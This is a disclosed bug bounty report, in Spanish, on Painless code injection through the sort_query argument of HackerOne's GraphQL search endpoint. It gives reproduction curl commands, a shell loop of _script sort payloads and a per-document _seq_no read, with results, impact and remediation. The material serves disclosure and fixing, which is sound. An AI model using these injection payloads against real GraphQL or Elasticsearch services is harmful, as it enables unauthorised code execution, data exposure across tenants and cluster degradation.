Resumen
El endpoint GraphQL de HackerOne (https://hackerone.com/graphql) expone en el campo Query.search un argumento llamado sort_query: String. El valor de ese argumento se reenviaba tal cual al clúster de Elasticsearch como contenido del parámetro sort, sin validarlo contra un esquema, sin lista blanca de palabras clave y sin rechazar directivas de ordenación basadas en scripts.
Esa falta de validación dejaba pasar cláusulas de ordenación _script, que Elasticsearch interpreta como código Painless. El resultado es que una petición GraphQL autenticada, enviada desde una cuenta de investigador sin privilegios especiales, conseguía que el clúster compilara y ejecutara código Painless una vez por cada documento del conjunto de resultados.
El investigador probó el fallo únicamente dentro de su propio ámbito de autorización (el índice NotificationsIndex, acotado a sus propias notificaciones por un filtro de usuario aplicado en el servidor) y se limitó a leer el campo interno _seq_no, sin tocar datos de otras cuentas ni de otros inquilinos.
Pasos de reproducción
Todas las peticiones asumen la misma sesión autenticada que usa el frontend de producción: la cookie completa en $COOKIE (incluyendo __Host-session y cf_clearance) y un fichero de cabeceras /tmp/h1.headers con, entre otras, el token CSRF de la sesión:
accept: */*
content-type: application/json
origin: https://hackerone.com
referer: https://hackerone.com/notifications
x-csrf-token: [REDACTADO]
x-product-area: notifications
x-product-feature: overview
1. Confirmar la identidad de la sesión
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"{me{_id username}}"}' | jq
La respuesta confirma que se trata de una cuenta normal de investigador, sin privilegios elevados:
{"data":{"me":{"_id":"[REDACTADO]","username":"brumbelow"}}}
2. Comprobar que sort_query acepta JSON de Elasticsearch
Antes de probar ningún script, el investigador verificó que el argumento acepta especificaciones de ordenación JSON arbitrarias y que la ordenación surte efecto sobre los resultados:
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"query{search(index:NotificationsIndex,query_string:\"*\",sort_query:\"[{\\\"id\\\":\\\"asc\\\"}]\",size:5){nodes{... on NotificationDocument{id}}}}"}' | jq
Los identificadores internos devueltos (404547633, 408446504, 416737094, 417300042, 417467303) salían en orden ascendente, lo que confirma que Elasticsearch interpreta y aplica las directivas de ordenación en JSON. También aceptaba formas de objeto con claves anidadas order, mode y missing. En todas las pruebas total_count valía 716, el número de notificaciones propias del investigador: el conjunto de resultados ya venía filtrado a su cuenta por un filtro de usuario aplicado en el servidor antes de ordenar.
3. Evidencia de compilación de Painless (éxito frente a fallo)
Manteniendo idéntica la forma de la consulta GraphQL y cambiando solo el campo script.source dentro de una cláusula _script, se observa que el comportamiento depende de si el código Painless es válido o no:
q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:1){total_count}}'
for sq in \
'[{"_script":{"type":"number","order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"\"unterminated","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1+1","lang":"painless"},"order":"asc"}}]'; do
body=$(jq -n --arg q "$q" --arg sq "$sq" '{query:$q,variables:{sq:$sq}}')
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" \
| jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)[0:40]}'
sleep 1.5
done
Resultado observado:
| script.source | Resultado | Compilación Painless | |---------------------------------|--------------------------------|--------------------------------| | (sin clave script) | HTTP 500 / STANDARD_ERROR | forma _script mal construida | | "" (vacío) | HTTP 500 / STANDARD_ERROR | fallo de compilación | | "unterminated (inválido) | HTTP 500 / STANDARD_ERROR | fallo de compilación | | "1" | HTTP 200, total_count: 716 | compilación correcta | | "1+1" | HTTP 200, total_count: 716 | compilación correcta |
La división 200/500 coincide exactamente con que el código fuente sea Painless válido o no. Una capa intermedia que solo validara el esquema JSON no podría distinguir estos casos, porque las cinco cargas son JSON bien formado con las mismas claves de nivel superior. Solo un compilador de Painless, alcanzado con el código que controla el atacante, diferencia una cadena vacía o un literal sin cerrar de "1".
4. Evidencia de ejecución por documento
Dos peticiones que se diferencian únicamente en el valor de script.source. Ambas piden edges { cursor node { id } } para capturar el orden de los resultados:
# Petición A — valor constante
sq_A='[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]'
# Petición B — lectura por documento del campo interno _seq_no
sq_B='[{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]'
La petición A (valor constante) devolvió en las cinco primeras posiciones los _id internos 451190393, 433571802, 444651582, 444773121, 445067118.
La petición B (lectura de _seq_no por documento) devolvió 404547633, 408446504, 416737094, 417300042, 417467303, un orden estrictamente ascendente que coincide exactamente con el obtenido en el paso 2 mediante sort_query: '[{"id":"asc"}]'.
Los dos conjuntos no comparten ningún documento en las cinco primeras posiciones. En Elasticsearch, _seq_no es un número de secuencia que se asigna a cada documento al indexarlo y crece de forma monótona con el orden de inserción, así que ordenar las notificaciones más antiguas del usuario de forma ascendente por _seq_no produce el mismo orden que ordenarlas por su _id interno. Para que el orden de la petición B apareciera, el script Painless tuvo que compilarse, ejecutarse una vez por documento durante la fase de ordenación, leer el _seq_no de cada documento a través del contexto doc y devolverlo como clave de ordenación. Si la cláusula _script se hubiera descartado antes de llegar a Elasticsearch, o si su salida se hubiera ignorado, la petición B habría devuelto el mismo orden que la A.
Esto es evidencia directa de ejecución de código Painless por documento en el clúster de Elasticsearch de producción, disparada por una única petición GraphQL autenticada desde una cuenta de investigador.
Impacto
La ejecución de Painless ocurre dentro del proceso JVM de Elasticsearch, es decir, sobre la infraestructura que indexa los datos de la plataforma de HackerOne. El campo Query.search puede devolver, a través de la unión de tipos del esquema, documentos de muchas clases: contenido de reportes (ReportDocument, FindingDocument, HacktivityDocument), notificaciones, metadatos de programas, definiciones de alcance, inventario de activos, pertenencia a organizaciones, metadatos de tráfico HTTP capturado y consultas guardadas.
El riesgo más inmediato es de confidencialidad, incluso si el sandbox de Painless bloquea el acceso a disco y a la red: la ordenación _script se ejecuta dentro de la fase de consulta de Elasticsearch, antes de que actúe cualquier filtro de autorización de la capa de resolvers de GraphQL. Un script que lea doc['<campo>'].value ve campos de los documentos que están a punto de puntuarse u ordenarse, lo que incluiría documentos que el llamante no está autorizado a leer en la capa de resolver si un índice no está particionado por inquilino a nivel de Elasticsearch. El investigador indica expresamente que no comprobó si el acceso entre inquilinos es posible y que no lo haría, dejando esa investigación al equipo interno de HackerOne.
Además, al ser código controlado por el usuario que se ejecuta por cada documento del resultado, un script con bucles profundos, asignaciones grandes o cálculos costosos podría degradar el rendimiento del clúster compartido de Elasticsearch.
El investigador señala también que el mismo argumento sort_query: String aparece en otras superficies que no llegó a probar pero que probablemente comparten el fallo: Query.search con otros índices (DuplicateDetectorReportsIndex, OpportunitiesIndex, CompleteHacktivityReportIndex, StoredQueriesIndex) y el resolver Organization.findings_search.sort_query: String.
Remediación
El investigador propuso retirar el argumento sort_query: String de Query.search, ya que el argumento tipado sort: SortInput cubre los usos documentados del frontend; si hiciesen falta expresiones de ordenación más ricas, recomendó exponer un tipo de entrada estructurado y validado contra esquema en lugar de una cadena libre. El mismo tratamiento debería aplicarse a Organization.findings_search.sort_query: String y a cualquier otro resolver que exponga un sort_query de texto libre.
El reporte se envió el 24 de abril de 2026, se divulgó el 17 de junio de 2026, se resolvió (Resolved) y recibió recompensa, cuyo importe no es público. HackerOne clasificó la debilidad como inyección de código (Code Injection), con severidad alta.